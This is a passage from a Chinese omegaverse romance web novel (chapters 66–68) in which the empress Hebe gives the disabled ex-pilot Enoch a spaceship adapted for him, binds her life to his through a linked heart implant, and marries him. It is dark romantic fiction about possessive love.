露娜顶起鼻梁上的老花镜,点头:“是个顶好看的孩子,和你的长相很相配,但是皇帝的身份太高了呀……你别哭嘛,如果你真的很喜欢,不妨试试呢,去皇宫门前拦车,去拿着大喇叭在人群里表白,让她知道。人生最奇妙的,就是说不准什么时候,奇迹就会发生呀。” 以诺想象那副场面,觉得好笑,真的要那么做的话,大概在还没见到赫柏之前就会被卫兵抓走。 “以诺,你过来。”露娜叫他。 以诺蹲在露娜的床边,夏天很热,她身上却盖着厚厚的毯子,脸上带着尤为慈和的微笑,精神头比平常都要好,伊莱去世前也是这样,以诺知道。 露娜把一根手指头点在他的额头,干枯的手指,慢慢揉平眉心的褶皱,“年纪轻轻的,怎么总是皱眉头呢,你看我和伊莱他们总笑,所以才成了老不死的。” 她想起伊莱已经死了,说了几个“不对”,摇头之后,却忘了自己想说的是“不对”什么。 “多笑笑吧,会变好的。”她最终只说了这么一句,苍老祥和的眼睛看着以诺。 露娜在那天晚上慢慢闭上眼睛,老板米歇尔处理了后事,唏嘘地说,他这一趟修行完成了。 他要卖了养老院,以诺要为自己找个新的去处。 米歇尔从口袋里抽出一张折叠的传单,“最新款飞船,残疾人的福音,无论您是生来残疾还是后天受伤,无论残疾的程度如何,都可以通过这款飞船得到独自飞行的机会。” 米歇尔说:“今天在集市上被派发了这张传单,您从前是军队的飞行员,一定会想要了解一下这款残疾人也能驾驶的飞船吧。” 以诺接过传单时,似有千斤重,颤抖从双手一直蔓延到全身。 米歇尔看他的样子就知道成了,他一定会去的,皇帝交给他的任务完成了。他不是完全的圣人,有考虑过卖掉养老院,最多再自费把露娜他们安排去别的地方,这块地的价格可不便宜。 挂牌出售后不久,就有皇帝身边的人来联系他,说皇帝想要见一面。 那位年轻的皇帝和他谈了一个下午,印象中她很冷静,把养老院的情况询问得清清楚楚,然后往他的账户里划了数不清的金币,他一辈子也没见过那么多的金币。 请他为以诺先生提供一个栖身之处,让他和老人们相处,但是大部分的工作要交给专业护工,不能累着他,把养老院里那批陈旧的康复仪器全都换成新的,以诺先生惯用的,在他复建时要有人在门外盯着以免发生意外。 同时要求他保密,当然可以做到,这么多的金币,要他的命都可以。 米歇尔把以诺请到养老院里来,也是解决了自己的一份愧疚,毕竟朝夕相处了几十年,不忍心真的把他们扔下不管。 好在现在一切都很圆满,几个老人安然逝去,他也可以把养老院卖出去,还把这张传单交给了以诺。 “谢谢你。” 以诺握紧传单,隐约窥见事情的真相,既是一阵欣喜,又对赫柏还没有放下他这件事感到担忧。 在他还没理清复杂的思绪时,双腿已经不由自主地迈出,他知道,赫柏在那儿等他。 第66章 第66章重返天空 第一辆残疾人也能驾驶的飞船,由军方和军械研究所共同督造,历时大半年,就是从以诺离开研究所的那段时间开始。 “我想让你重新升上天空,我向你保证过,你会站起来,也会重新升上天空。” “我想让你重新得到万民敬仰,尊重和自由都回到你的手上,我想要你在可以完全做出选择的时候,选择爱我。” 赫柏的声音在以诺脑海中盘旋,一声声敲动他的耳膜,心脏的震颤无法停止。 穿过车水马龙的闹市区,跌跌撞撞地差点扑倒在马路上,被好几辆车子鸣笛,他失神落魄地朝车子点头致歉,继续快步向前走,最后到达中心公园的广场上时,双眼蒙着眼泪模糊不能视物。 “这真的是残疾人可以驾驶的飞船么?看起来没什么特别的呀!” “可能内有乾坤呢,秘密研发了那么久呀。” 新品飞船的展演会,现场支起临时围栏,很多民众在在围观,以诺在人群后感到一丝局促,因为看见了几位研究所的同事。 很快他略感羞惭地低头,大家都在各忙各的,对飞船的性能做最后的测试,根本就没有人注意到他。 他又开始张望,想知道赫柏在哪里。 “你说为什么要研发这个呢?听说还用了特别高科技的材料,可以根据每个残疾人的身体状况调整参数什么的,定价肯定很高吧,有几个残疾人买得起啊!” “对啊,我也奇怪,很多残疾人可能连飞船驾驶证都没有吧,不过,听说这这个研究项目是皇帝陛下亲自审批的,为了谁嘛,猜都能猜到了。” “不会吧,不是说以诺先生已经失宠了吗?他的家族都已经没了,陛下还会宠幸他吗?” “你不懂了吧,陛下对以诺先生一看就是真爱,话说回来陛下最近有在收拢斯宾塞集团以前的那些业务,把老员工召集起来,成立一个新的公司,由皇室直接运营,还是用着斯宾塞集团的名字,他们的庄园也保留了下来……总之,我觉得陛下和以诺先生的故事远远没有完结呢,等着瞧吧。” 民众议论纷纷,以诺的眼泪珠子一颗一颗地往下掉,完全止不住,他好想见赫柏,告诉她完全没有必要为他做什么多。 她什么都不做,他也会爱她。 可是赫柏在哪里?他突然很害怕,一切都只是他一厢情愿的想象,只是巧合,赫柏今天根本不会出现。 前面围了几层的人群有些骚动,很快让开一条通道,有警卫走过来,到以诺面前做出邀请的手势: “以诺先生,请跟我们来吧,皇帝陛下在等着您。” 周围一片吸气声,才发现低调站在他们身后的,竟然就是以诺先生。 以诺现在穿着很朴素的衣服,头发也没有打理,这样走到众人目光下让他有点羞赧不安,当他看到从飞船后走出的赫柏时,低着头双腿发软,恨不得钻进地底下。 赫柏也穿得很简单,像街道上三三两两并肩走着的女学生,只是她很平静,素白的,没有妆容的脸上,只有天生微翘的红唇带来的点点笑意。 以诺能感觉到所有人的目光投射在他的背上,像千万支利箭,赫柏说得对,他是个胆小鬼,他原来是最害怕别人用不好的目光看他的,他对自己也很不诚实。 其实他真的是一个很糟糕的人,为什么不肯承认这一点呢,明明已经喝了解药,但是,还是想的要疯掉,赫柏的那件丝绸睡衣已经被他抱着睡了好多个月,变成一块破布,现在,站在赫柏面前,想起那些肢体纠缠的画面,他感觉自己在流水。 承认吧,承认吧,想要抱住赫柏,求她不要走,说他很爱她,永远不想和她分开这个事实。 可是,要怎么才能做到呢?以诺想要跪下,都交给赫柏,给他爱活着让他死亡,都交给她来做选择,就算他在之后还是要面临被她抛弃的命运……他也接受,但当他抬起颤抖的眼睫,接触到赫柏目光的一瞬,整个人变得平静。 赫柏不再是那种憋着坏要捉弄人的笑,上次分别时,她的眼睛里满是愤怒的泪水,现在变成深沉似海的包容和理解。 这种平静大大减轻了以诺的耻感,他停在和她距离半米的地方,不再发抖,却还是流泪。 赫柏直接过来牵他的手,纤细的五指嵌入他的指缝,“哇——”周围的反应很大。 那一刻以诺感到触电,整具麻木的身躯被激活了,除了手心柔软的触感,忘记了一切,忘记旁观者的声音,启动步子随着赫柏往前。 赫柏单手拉开舱门,捏了捏他的手背,“这是为你专门制作的,以诺先生,主色调是你最喜欢的纯白,所有的设备都根据你的身体数据制作,快进去试试,操作的是否顺手吧。” 赫柏自然地坐到副驾驶,以诺摇头说:“可能不安全,你先不要坐上来。” 赫柏直接拧开点火的按钮,握着他的手搭在方向盘上,在发动机的轰鸣声里对他说:“怎么可能不安全,虽然你还没有操作过,但是早就用你的数据测试了千遍万遍,不然,艾琳不会同意我坐上来的,你就放心吧。” “嗯。”以诺点头,赫柏握了握他的手,坐回位置上系好安全带。 以诺用无力的腿踩下油门,感受熟悉又陌生的对抗力,渐渐加重力道,飞船升空,窗外的风景在变换。 他有一点不适,但他知道这相比正常的飞船来说已经很轻便了,他真的可以用这双腿控制飞船,这是他做梦也想象不到的。 他有点激动踩急了油门,飞船一阵颠簸,急忙稳住,赫柏拍拍胸口可爱地叹气,对他笑着说:“还是有点害怕的,这是货真价实的飞船,不是全息模拟游戏,为了我的安全,你要小心点呀。” “对不起……”以诺不停点头,为刚才的失误道歉。 飞船突破云层,以诺控制自己不要溢出眼泪,那样会影响视线,但他真的很激动,比在中学第一次用模拟设备体验升空,感觉还要强烈。 “我做过一个很长的梦,连续好多年,在我十五岁分化的那段时间,我很想念你,经常看军方的新闻,你操纵战机的画面,只看一眼就在我的脑子里挥散不去。” 飞船里也像飘进了轻盈的云霭,赫柏空灵的声音从云间飘过来,“我梦到,你在战场受伤,双腿残疾,被这个帝国所有的贵族,包括你的妹妹联手陷害,进了监狱,所有的人都在唾骂你,憎恨你,那些alpha把你当成泄欲对象,在你身上灌注信息素,想要你变成他们的性。奴。” “那个梦里没有我,以诺,我帮不了你。” 以诺流下一串早就挂在眼睑上的泪,赫柏怎么会这么想呢,反反复复做这样的梦,该是承受了多大的心理压力,但他也明白当时的自己作为omega获得上将军衔,看似繁花锦簇,其实身处空中楼阁,很多人想要他死,如果没有赫柏,在他受伤后,情况真的有可能变成那样……他会遭受那些可怕的事情。 也许赫柏是发现了他的处境危险,才做了那样的梦,为他担心。 “对不起,赫柏,经常做那样可怕的梦,很辛苦吧。” “不辛苦。”赫柏用冷静的口吻剖析内心,“我甚至,迷恋那种窒息又危险的梦,沉迷于你被所有alpha蹂躏时倔强不屈的神情,所有人都能伤害你,但是没有人能真正得到你,你通红的眼睛里写满不甘和愤怒,在那样的处境里依然维持这高洁的灵魂,漠视所有对你施暴的人……那让我深深着迷。” 纵然以诺已经十分清楚她的脾性,还是脊背窜过凉意,深深着迷吗?她那个时候是十五岁,那段时间作为军方代表每年能和她见上几面,印象里是一个沉默乖巧,很懂事的小姑娘。 “你不要害怕,我在忏悔,你听我说。”赫柏用三言两语化解了他的紧张,继续说,“相比心疼你的遭遇,我更想要得到你,所有人都无法得到的东西,我总是有很大兴趣的,后来我发现,我在不知不觉中也做了和那些人一样的事情,成为一名施暴者。” “你多憎恨那些人,也就会多憎恨我,虽然你已经习惯了为我付出,但是,憎恨却一分不少地在你心中积攒,当我想明白这一点时已经来不及了,一切都被我搞得很糟糕。” “不过,我总是不能如你所愿的,你想要把一切都奉献给我,然后去死,我不能如你所愿。我后来总是想到小时候见到的那个以诺亲王,我最快乐的事,原来是追在你身后,期待你回头给我对我笑,抱我起来,跟我说话,只是那样,我就会很安心,很快乐。” “我想要你好好活着,想要你得到你想要的一切,自由和尊重,就算恨我,也要好好活在这个世界上,这是我对自己的忏悔和救赎。” 赫柏的声音实在苍凉,以诺看过去,她靠在宽大的座椅上,白皙的脸庞蹭着安全带,有点疲惫又有点释然地在笑。 以诺的心泡在海水里一般酸胀,她就此释然了吗?怎么可以这样呢?是打算把这架飞船交给他,把自由的身体也交给他,再忏悔她的罪行,然后 她就可以安心地全身而退了吗? 已经把他搞成这样,说一句抱歉就彻底退出他的人生,怎么可以。 第67章 第67章承认吧,爱我吧。 赫柏把铺垫的话说完了,才发现以诺流了好多眼泪,双唇紧抿,一些泪水浸润了嘴唇,一些顺着瘦削的下巴滑进脖颈。 好可怜,好脆弱,好美,让她想要趴在他身上,啃咬掉他的眼泪,在白皙的脸上留下一道道羞耻的红印。 是喜极而泣,还是因为她即将离开他而难过呢?赫柏用目光触摸以诺的肩颈,纤瘦却有力的手臂,紧紧捏着方向盘的长指,在他看过来前及时移开目光,欲盖弥彰地眨眨眼睛,驱散浓浓的占有欲,只剩黑白分明的包容和爱。 她本质上还是坏的,想要以诺在崩溃之下对她说出,“我离不开你,我爱你,不是因为信息素或是别的牵绊,只是爱你,我对你的爱超越世界上一切既存之物,我想要你对我回以同等的爱,不能再看向别人,永远只有彼此,连死亡也不能将我们分开。” 那样她心里的野兽才会满足地休憩,然后她会愉快地,给予以诺他想要的安全感。 赫柏在看他。以诺在她的目光下忍不住发抖,深深呼吸一口气,把飞船固定在一个平稳运行的高度,开启自动运行避障系统。 他转身,隔着朦胧的泪眼看向赫柏,哀伤地说:“你不再爱我了吗?你不再渴望占有我,让我做你的小狗了吗,赫柏。” “你怎么能这样说我呢?”赫柏提高音调为自己辩护,“我知道我做错了,也已经忏悔了我的罪行,知道你不可能爱我,强行把你留在我身边,让你每天都难受得要死,却不得不强颜欢笑地照顾我,真的太辛苦了,因为爱你,我愿意放手,让你做你想做的事,我还会帮你,无论你想过什么样的人生我都会帮你,只要你不再想着去死。” 说吧,接下来,顺理成章地告诉她,不要放手,他最想做的事,他所能想到的全部有意义的人生,就是和她在一起,一生一世永不分离。赫柏在心里祈祷,能够听到自己心中期望了千万次的话语。 以诺却只是很可怜地哭,眼睑鼻子耳根全部红透,胸腔起伏重重张口呼吸,快要断气似的哽咽,颤动的嘴唇却不说一句话。 他是把矜持写进骨子里的贵族omega,这样的人,会做的最出格的事应该是在宴会厅的角落里,和伴侣一触即离地接吻。 如果伴侣去世,会穿着纤尘不染的白袍出席所有公开场合,对所有人不苟言笑,表明自己的下半生再也没有任何喜乐。 可是他明明做了那么多突破底线的事,在各种地方提出性。交,向她表明自己的需求,主动亲她,舌头伸进她的嘴里,舌尖刮过她口腔的每个角落。真的没有一点真心吗?不可能,信息素上瘾给了他掩饰的幌子。 承认吧,这一点也不难,是不是? 以诺哭了很久,慢慢地把双手放回方向盘上,在位置上坐好,面对白茫茫的天空,似乎下定了决心。 还是那副满脸哀戚,受了天大的委屈,却不得不为她考虑的模样,沙哑颤抖的声音:“如果你每天晚上,都能睡着,白天,也都能好好吃饭,在心烦、头疼的时候放下工作,到花园里走走,不要让工作占据你的全部时间,多和朋友出去玩玩……如果你做到这些,你能好好照顾自己,不需要我了,我也,开心,我愿意……”离开。 ——赫柏扣住他的手。 以诺抬起沾满泪水的眼睫,最后两个字咽进喉咙里,惊惶无措看着突然靠近的alpha。 赫柏完全换掉刚才那副和善的神色,黑曈曈的眼睛盯着他:“还是在为我做牺牲呀,伟大的以诺先生,你自己的心在哪里呢?你就不能诚实哪怕一次吗?只要你说一句离不开我,我会立刻过来亲你,你知道的。” 熟悉的侵略性,是野兽睁开眼睛,对静候已久的猎物露出狰狞的獠牙。 以诺哭得太激烈,缺氧头昏脑胀,但他在这一刻感到安心。 悬起来的,被绳子收紧几圈的心脏又回到了暖洋洋的泉水里,很幸福,但他口不对心地说:“我不想你为难。” 赫柏像是猜到了他会说这句话,没有任何新意的话,她轻蔑地勾唇笑笑,握住以诺的手肘,揉捏肘内软肉,“是不想让我为难,还是在心里看轻我,从头到尾给我扣上‘一定会抛弃你’这顶帽子,你自己知道。” 以诺很怕痒,但也想她触碰,所以一直打开着自动驾驶和避障系统,假意把手搭在方向盘上,做出一副实在逃避不过骚扰的模样,羞愤地扑动眼睫。 从心里看轻她吗?在一副逐渐红透的皮囊下,以诺艰难地思考赫柏的话。 小魔头,小疯子,她永远不会知道他在心里给她换过多少个黑称,确实,从一开始就认为她恶劣地玩弄他,后来,是因为他一直没有屈服,胜负欲作祟……再后来呢,赫柏关注他的身体,他的情绪,帮他解开心结,她所做的一切,或许真的可以称为,爱他。 “我做了很多很多,尽我所能,你却还是这样看轻我,觉得我所说的每一句‘爱你’都是儿戏,难道不觉得……对我很不公平吗?善良的以诺先生。” “对不起……” “不要道歉,如果你感到愧疚,就试着学一下,不要对我说对不起。” 赫柏从手肘摸下去,攥住他的手腕,把他搭在方向盘上的手拉起来,按在自己胸前。 柔软的触感,以诺五指蜷曲,赫柏抓着他的手按实,“听听我心脏的声音,好吗?不是高高在上的皇帝,在你面前的,是从来都没有变过的赫柏,听听我心脏的声音,你会知道我有多爱你。” “赫柏……”察觉到赫柏的面容有几分压抑的疯狂,眉心不停蹙起展平,像是躁郁症状又犯了,以诺很担心,“赫柏,你还好吗?” “你永远都不会知道,我有多担心你会死,自从你告诉我,你的心脏里装着一个该死的装置,让你可以随意决定自己的生死之后,我真的很害怕,你有一天会离开我。” “不会的,只要你还需要我,我就永远不会离开。” “但是我害怕,我是否需要你,这个概念由你来界定,这超出了我的控制范围,让我害怕,后来我想到了一个办法,”赫柏翘唇很可爱地笑了笑,像小孩子终于想到办法守卫她的玩具,“我想到了一个办法,在我的心脏里,也装上和你一样控制装置,而且,连接在你的装置上,意思就是,只要你的心脏停止跳动,那一秒,我也会死,我们会一起死。” 皇帝所能想到的,许诺给爱人的最贵重的东西,她的生命。 以诺一直没有安全感,赫柏是个完完全全以结果为导向的人,有了问题就想解决方案,对症下药地施行解决办法,既然她说了再多句“爱你”,做再多代表爱的事情都不管用,只剩下一个最极端的办法。 她觉得这实在是太妙了,为想出这个办法的自己欢欣鼓舞,用维托克的身家性命作为要挟,瞒住艾琳等人,提前一周从加里南秘密回国接受手术。 她没有任何的心理负担,本来就是打算和以诺相守一生,在死后同榻而眠的,依照她现在超负荷工作的现状,很有可能是她早死,如果她早死了,一定会赐以诺一杯毒酒,让他陪她走黄泉路,如果以诺先死,有这个可能,她愿赌服输,一起 死吧。 “为什么呢,赫柏,到底为什么呢?” 以诺又开始流泪,碧蓝色的眼睛没完没了地流泪,赫柏扭曲至极的爱具象化了,变成沉甸甸的砝码压在他身上,既让他感觉到前所未有的安心,又真的很心疼。 为什么赫柏要这样做,他的身体这么虚弱,为什么和他的生命绑定,只是为了证明爱他,太不值得了。 “可以取出来吗?去取出来吧,你完全没必要做这样的事,我也会一辈子爱着你,离不开你。”以诺抚摸赫柏的脸,她像外壳碎了的生鸡蛋,薄薄的一层内膜包裹着沉重跳动的、带着腥气的生命体。 在太年幼的时候接触复杂的世界,在黑白混沌中自成一派,又因为出众的能力,完全可以按照她所选择的,天真又残忍的方式生活,以诺只是心疼她。 尽力稳住气息劝说:“赫柏,你的生命比我要贵重得多,你是出色的执政者,你活得越久对这个国家的臣民越好,无数人会因为你优秀的政绩过上更好的生活,未来的历史由你来书写,真的不要和我的性命绑定,好不好?” “来不及了呢。我选择断掉一切后路,没有办法取出来,只能这样了,维托克劝我,给自己一个后悔的机会,但我拒绝了,用了最极端的方式嵌入仪器,我没有任何后路,你也没有。” 赫柏摇头,垂着脑袋,短发也耷拉着,一副虚心认错的姿态,却勾着唇阴恻恻地笑,“我的政绩,我的帝国和臣民,我的历史都与你有关,所以为了我和这个国家,你要尽力获得长一些,以诺,已经过去五分钟了,你接受这个事实了吗?” 以诺牙关磕碰,低骂一句“疯子”,掐住赫柏的下巴咬她的嘴唇。 飞船在天空中漫无目的地巡航,以诺和赫柏拥抱着激烈地亲吻,咬破对方的唇舌,尝到自己和对方口中血腥的味道。 爱是两个异质的灵魂相互碰撞,是刀刀见血的交锋,是伤痕累累之后依然靠近,必要时把自己削成适应对方形状的拼图,然后拼凑在一起永远不分开。 以上想法来自伟大的莱茵帝国皇帝,赫柏纳塔利女士。 直到很多年后她依然会认同,强求到了以诺先生的爱,是她这辈子做过最艰难,最成功,最骄傲的事。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 完结&番外 第68章 第68章婚礼撒花 飞船展会那天,陛下和以诺先生牵着手坐上去,相处的动作还是略僵硬的,到天上转了一圈,再下来时却变成了黏黏糊糊,亲亲我我,给现场每人塞一口拉丝焦糖一样粘腻。 以诺先生脸是粉的,眼睛是肿的,垂眼温顺地跟在陛下身侧,一副小媳妇的模样,让人疑心他们在飞船上做了什么了不得的事。 然后人们很快就得知了一个石破天惊的新闻,陛下即将和以诺先生举办婚礼。 要知道以诺先生实打实做了十多年的皇室亲王,被称为塞克公主的遗孀,在经历了参军受伤、叛国审讯、家族破败后,竟然即将成为塞克公主的侄女、赫柏陛下的皇后。 怎么可能呢?这样的身份、年龄差距,斯宾塞家族还没落了,给陛下做个情人就差不多了,陛下竟然要给他正宫的名分,可以想象突破了多少阻碍。 但陛下就是这么做了,不顾一切纷纷扰扰的声音,握着伴侣的手在城堡的阳台上,对着媒体宣布了他们的婚讯,安排了一场媒体见面会,来者不拒地回答所有问题。 “请问您和以诺先生发生感情的节点是怎么样的呢?”危险的问题,所有人都知道以诺参军前曾经在皇宫生活了两年,是否引诱了年幼的赫柏,使她对他念念不忘,直到成年。 陛下回答:“童年的记忆,对我而言已经很模糊了,是在我十五岁那年,看到一张以诺先生的新闻图片,他坐在战机里,眸光坚毅,握紧方向盘,那种omega的温柔和驾驶员的力量感同时汇聚在他身上,非常好看,从那时候起,我一直关注着以诺先生的一切,明知他是塞克姑姑的遗孀,依然忍不住靠近。” 这是必须要过的一关,让他们的感情再也没有任何被质疑和指责的空间,以诺一直握着赫柏的手,感觉到手心里渐渐渗出冷腻的汗,赫柏为了这次记者会做了很充分的准备,也很紧张。 他在很多摄像机前环住赫柏的身体,轻拍她的背,赫柏笑了笑,反手握住他的下巴亲吻,亲过之后她的气息平稳下来,安定沉稳地面对各路记者。 这组官宣时的接吻照在很多年后一直广泛流传,极为经典,照片中虽然陛下非常具有侵略性,但以诺先生完全承受而且享受其中,在她凑过来前已经张开唇舌,容纳她的侵略,激烈的亲吻后,陛下皱起的眉心渐渐展平,像只被顺毛的猫。 无数人借此解读他们真正的相处模式,陛下是绝对的上位者,却一直被以诺先生安抚,陛下所有的郁卒和烦躁,在他柔柔的微笑中无形化解,这种微末纤毫的感情拉扯,有很大的解读空间。 至于那次媒体会上,以诺先生的回答,也很诚实,在受伤后和陛下日复一日的相处中渐渐敞开心扉,因为身份差距一直逃避,最后在陛下的鼓励下,决定诚实面对自己的心。 很多人觉得不妥,但以诺先生早就不是亲王了,只是一个曾经订过婚的单身男人,和谁结婚不是法律规定的人生自由呢,他和陛下的感情铺垫了那么久,这个时候再来反对,真的很像那种活在旧世纪的老古董了。 陛下提前一年给以诺先生废除了亲王的头衔,解除他和塞克公主的所有名分纠葛,而以诺先生,揭露了自己家族的罪行,给陛下的执政之路荡平阻碍,他们本来就是双向奔赴呀。 所以在一片暖融融的祝福当中,在夏天的尾巴里,婚礼如期举行。 完全跳过订婚等贵族的繁文缛节,直接结婚,但是婚礼一点也不含糊,由以诺先生负责操办,在短短一个月之内,布置了帝国有史以来最隆重、最瞩目的婚礼。 所有婚礼上用到的器皿,包括主宴会厅上那盏巨大的琉璃灯,都是皇室珍藏的古董,窗帘和桌布则从以刺绣工艺闻名的雅文帝国空运来到,而陛下和以诺先生当天更换的几身礼服,由多位国际知名设计师联袂打造,本身就是完美的工艺品,穿在两位妙人身上,精美绝伦。 主宴会厅挂着两人的巨幅油画,陛下在椅子上正襟危坐,下巴微压低,嘴角抿着严肃的微笑,以诺先生在她身后,站姿神情放松,双手按在椅背上,同时也用保护的姿势环抱着她单薄的身体。 “很神奇的一件事,不是吗?他们竟然能修成正果。”来宾们观摩那副巨型肖像画,梅根握着酒杯低声对维托克说,“你不是说,以诺先生把陛下气跑了吗?他只会奉献不会爱人,他搞垮了斯宾塞家族,可能会找一个没有人知道的地方默默死去。” 亲爱的,那是很多个月以前的版本了,维托克微笑摇头,陛下也不是以诺气跑吧,小皇帝生气的点在于,用尽各种手段,各种方式,发现以诺先生还没有完完全全的屈服,她绝对无法面对自己的失败。 后来陛下想到了新的办法,秘密回国请他进行手术,在她的心脏里加装了一个仪器,那个仪器,足以让以诺先生放下所有顾虑,从身到心地屈服,像星星拱卫月亮那样永生永世环绕在她身边。 她本质上还是把以诺先生当成一件“需要完成的工作”呢。 或许也有爱掺杂其中,但是他可以很负责任地说,占大头的绝对是她的占有欲和控制欲,这个世界上有这么一个既让她崇拜,又能让她施展控制欲的对象,那位还能把她照顾得很好,怎么不算是天生一对呢。 “他们之间的事,没人能说得清楚,我们只知道他们就是最合适的一对,永远不会分开,那就够了。” 维托克搂着梅根的肩膀离开肖像画前,融入人群,和认识的人寒暄。 艾琳握着电话匆匆忙忙穿行而过,对打扰到的宾客说抱歉,见到维托克抓住他的手臂问:“见到陛下了么?” 维托克说没见过,艾琳吸气点头,“已经到了陛下更换礼服的时间,她却不在休息室里,我们都在找她,如今你见到她的话请联系我。” 维托克目光远眺,若有所指地抬抬下巴,指向宴会厅的角落,身着白色西服的以诺先生,正握着一杯鸡尾酒和面前的女alpha说话。 女alpha,是离开莱茵帝国多年的莉莉丝小姐,以诺先生的中学同学,传闻中两人曾经有一段旧情。 艾琳对维托克道谢,大步朝以诺先生走去。 莉莉丝和以诺相对站着,她绝对没想到以诺有一天会成为新帝的皇后,准确来说,是没想到赫柏会真的会让他当皇后。 以诺这样的人,是好玩的,很多年前他们在穿着中学制服的以诺身后悄悄议论,装什么装呢,在老师面前装乖,在同学面前装清高,他们想把他按在地上,把干干净净的制服踩脏,把脏兮兮的鞋底印上他的脸,那样就能看到他嘤嘤哭泣,一定很好看。 只能是想想,以诺的家族非常显赫,是他们所有人都要忌惮的存在,所以他们只能在阴暗的角落里憎恨他,窥伺他,却没办法对他付诸实际的恶意。 天哪,谁都会认为赫柏陛下只是玩弄他而已,怎么可能让他成为皇后! 莉莉丝虽然愤恨,认为赫柏丫头没吃过什么好东西,才被以诺迷得晕头转向,但在看见以诺时还是举起酒杯,熟稔地向他打招呼。 “好久不见了,好同学,你现在真好,我真心为你高兴。” “莉莉丝,你好。”以诺站定,稍微侧身躲避她的触碰,礼貌地回应。 莉莉丝的手停在半空,五指合拢慢慢放下,看清以诺不容冒犯的神情,忽然感到害怕,他不是寡夫了,是实打实的帝国的皇后,如果他要对追究她的冒犯,那是很严重的罪行。 “抱歉。”莉莉丝为自己一瞬间想要冒犯他的念头感到后悔。 以诺如果刻意为之,是可以完全让人看不出来,他到底在想什么,一直含着礼貌的微笑,听着莉莉丝絮絮叨叨的道歉,要很仔细才会发现他的余光一直看向一个地方。 他的思绪,其实一直被那个地方的某个人牵动,早就不在站立交谈的莉莉丝面前。 眸光闪动,聚焦那个地方,从正儿八经的动作换成非常有魅力和风情的转动酒杯、抬头启唇饮酒,甚至没有对视,他无声地传达出“我好想你,快过来找我,带我从这么女alpha面前离开”等一系列渴求。 莉莉丝不知道以诺的注意力早就飘远了,只知道他很正常的饮酒动作,突然就变得非常的,勾人,像小爪子一样挠动人心,她受了蛊惑似的忍不住上前一步。 “我在雅文帝国过得挺好的,那里的风景也很好,有机会的话,您可以到那儿去玩玩……”莉莉丝寒暄的话语被突然而至的女人打断。 艾琳来到以诺身边询问:“以诺先生,您是否见过皇帝陛下呢?” 以诺放下酒杯,面向艾琳认真地说:“刚才我看见陛下在那边,和李斯特爵士交谈,现在人不见了。” 艾琳和以诺一起寻找陛下,莉莉丝有满肚子的话要说,被以诺的快速变脸惊到,目瞪口呆地看着他们离开。 以诺觉得后悔,他刚才被莉莉丝拦下,是想要寒暄两句就离开的,但他看到赫柏在不远处,和一些人畅快地交谈。 上次见面,是一个月前,那次宣布婚讯的媒体会,之后赫柏抱着他撒娇,说最近工作很多,婚礼的事情只能交给他一个人操办了。 “我发誓,我会好好吃饭,好好睡觉,以最好的精神面貌出席我们的婚礼的。” 之后的一个月两人真的没有见过一面,是赫柏没有任何消息,他斟酌很久,小心翼翼发过去的信息,她通常会隔个两三天才回,虽然回复的口吻依然亲昵,“辛苦了我最最爱的以诺先生,好期待我们的婚礼……”之类的话,但她的冷淡显而易见。 婚礼的目的是什么呢,昭告全世界他们的爱情,他们是将会厮守一生的合法夫妻,对于陛下来说,她无法通过这场婚礼“获得”更多,更多人的崇拜和敬仰,更多的利益和可能获得利益的空间——很大程度上就只是浪费时间,因为他想要,才有了这场婚礼。 虽然明白自己的伴侣就是这样一个政治机器,也明白她有多爱自己,但是以诺还是需要不断给自己做心理建设,劝说自己接受,经常没有来由的冷落,还有赫柏一旦抽身,就完全让他感受不到爱这件事。 很幼稚的举动,在莉莉丝小姐面前多停留了两分钟,喝完一杯鸡尾酒,希望赫柏能向他走过来,只分给他几秒钟的时间也好,请抱紧他宣誓主权,把他称为她的所有物,亲吻他,那样他会很安心。 事实证明她不会那样做,赫柏捕捉到他的视线对他点头,举起酒杯,畅快地喝酒,再和面前的宾客洽谈,眼角眉梢都是愉悦的笑意。 很不在意呢,在这个时候,唯有随着心脏振动的狭小仪器,不断告诉他赫柏的身体里也装着一个同款,告诉他赫柏其实有多爱他,然后他强迫自己安心。 以诺和艾琳一起给赫柏发送了很多信息,打了很多个电话,最后在走廊后一个狭小的休息室里找到赫柏,她正在和路易斯视频通话。 赫柏叉腰和墙面投影的路易斯吵架:“在您回国前协定好的贸易关税,加里南陛下这就出尔反尔了,回国之后长能耐了是吧,都敢欺负到我头上了!” 这个时候她应该在城堡二楼做妆发,但她停不下来,刚完成上一份工作来到城堡,就逮着早到的宾客商量各种适宜,收到海关人员的信息直接火冒三丈,找了个偏僻的地方激情开骂。 路易斯知道今天是赫柏的婚礼,已经六点钟了,她还是一身便服,头发在一天的奔走后有点凌乱,双眼喷火地质问他为什么更改了实际关税。 路易斯心情很好,双手交叠在腹部,慢慢坐进宽大的椅子里,对着镜头展示完美的皇帝礼服和他完美的微笑。 “赫柏姐姐,稍安勿躁嘛,今天是您的婚礼,这么生气,会长出皱纹哦。” “姐你个头!现在抵达莱茵帝国码头的货物,全部按照协定好的税金把钱打到我的账上!不然的话,你知道你有多少把柄在我手上,我能让你坐上这个帝位,也能让你变成阶下囚,生不如死!” 路易斯妥协,当着她的面打电话,说以后的关税都按照协议执行,把两倍的差额立即转到莱茵皇室的公共账户上,直到收到入账的消息,赫柏的脸色才有所好转,还是目光不善地盯着屏幕。 “姐姐别生气嘛,今天是您的婚礼,一定很忙吧,除了这种方法,我真的不知道还能用什么样的方式,和您见上一面,”路易斯趴在桌子上,双手握拳抵着下巴,绿色的眼睛不停地眨,做出一副很可怜的样子,“我以后都不再犯了,您可不可以原谅我。” 赫柏只把“以后都不再犯”听进耳中,点点头表示知道了,转过身面向墙壁,对海关高层和其他负责经济的大臣发送消息,表示这次的事件已经解决,以后如果加里南那边再为难,不需要给他们好脸色看。 路易斯长吁短叹,却只能看到赫柏的背影,直到她想起来关闭屏幕之前,她不会再回身,也不会再看向他了,下次见面,遥遥无期。 真的好狠心呢,其实她真的是一个情感淡漠,却 理性非凡的人,这样的人天生就是让别人伤心的,路易斯却想着,如果她再风流一点就好了,把他当成真的男。宠就好了,如果能和她有一段情,他可以用漫漫余生,去仔细品味和回忆。 赫柏刚放下电话,熟悉的拥抱就环绕在她身后,以诺亲了她的脸,“该去换衣服了,陛下。” 赫柏反身抱住以诺亲了亲,“你怎么找到这儿来了?好久不见了,好想你呀,超级爱你,我的皇后,你想我了吗?” 短短几句话让以诺面红耳赤,一直点头,揽着她的腰身往外走,不忘记顺手关掉房间里的投影设备。 “啪——”路易斯眼前的屏幕,彻底暗掉。 